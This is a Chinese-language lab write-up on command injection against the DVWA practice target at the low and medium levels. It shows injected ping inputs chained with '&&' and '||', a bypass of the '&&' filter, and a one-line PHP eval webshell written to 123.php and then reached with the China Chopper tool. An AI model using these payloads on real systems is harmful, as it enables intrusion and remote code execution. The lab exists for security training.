DVWA靶机之命令注入

DVWA靶机之命令注入

command injection

命令注入是一种常见漏洞，通过攻击者拼接注入命令从而攻破漏洞，仅针对系统命令

low

web页面提示ping a device，我们提交一个IP地址，测试反应
输入127.0.0.1

得知此处的用处为Ping
我们在IP地址后添加查询命令：127.0.0.1 && pwd，查看结果

在页面回显的最下端，我们看到回显
/var/www/DVWA-1.9/vulnerabilities/exec
即页面文件所在的工作目录

既然能查看文件目录，也能进行增删改查命令的操作
插入一句话木马，并使用中国菜刀连接
PHP一句话木马：

echo '<?php @eval($_POST[123]);?>' > 123.php

插入一句话木马：

11 || echo '<?php @eval($_POST[123]);?>' > 123.php

使用中国菜刀连接：

http://192.168.19.135/DVWA-1.9/vulnerabilities/exec/123.php    123

medium

中级必然有一些安全策略，我们通过页面注入测试
测试语句：

127.0.0.1

127.0.0.1 && pwd

通过对比，得知在进行语句拼接时&&无法执行，应该是后台函数过滤了&&，我们通过使用||来拼接命令，完成一句话木马的插入
测试语句：

127.0.0.1 || pwd

插入一句话木马语句：

11 || echo '<?php @eval($_POST[123]);?>' > 123.php

使用中国菜刀连接